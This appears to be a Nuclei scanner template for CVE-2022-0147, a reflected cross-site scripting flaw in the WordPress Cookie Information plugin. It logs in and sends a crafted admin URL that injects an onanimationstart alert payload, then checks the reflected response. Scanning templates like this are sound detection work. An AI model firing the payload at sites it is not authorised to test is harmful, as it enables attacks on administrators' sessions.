2022-10-23 23:13:07 +00:00
id : CVE-2022-0147
info :
name : Cookie Information < 2.0.8 - Reflected Cross-Site Scripting
author : 8arthur
severity : medium
description : |
The Cookie Information plugin does not escape user data before outputting it back in attributes in the admin dashboard, leading to a Reflected Cross-Site Scripting issue
reference :
- https://wpscan.com/vulnerability/2c735365-69c0-4652-b48e-c4a192dfe0d1
- https://wordpress.org/plugins/wp-gdpr-compliance/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0147
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-0147
cwe-id : CWE-79
2022-10-24 19:45:25 +00:00
metadata :
verified : true
tags : cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wp-gdpr-compliance
2022-10-23 23:13:07 +00:00
requests :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
2022-10-24 19:49:03 +00:00
2022-10-23 23:13:07 +00:00
- |
GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x HTTP/1.1
Host : {{Hostname}}
2022-10-24 19:45:25 +00:00
2022-10-23 23:13:07 +00:00
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
- "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
2022-10-24 19:45:25 +00:00
- "toplevel_page_wp-gdpr-compliance"
2022-10-24 19:49:03 +00:00
condition : and
2022-10-23 23:13:07 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
2022-10-24 19:45:25 +00:00
- 200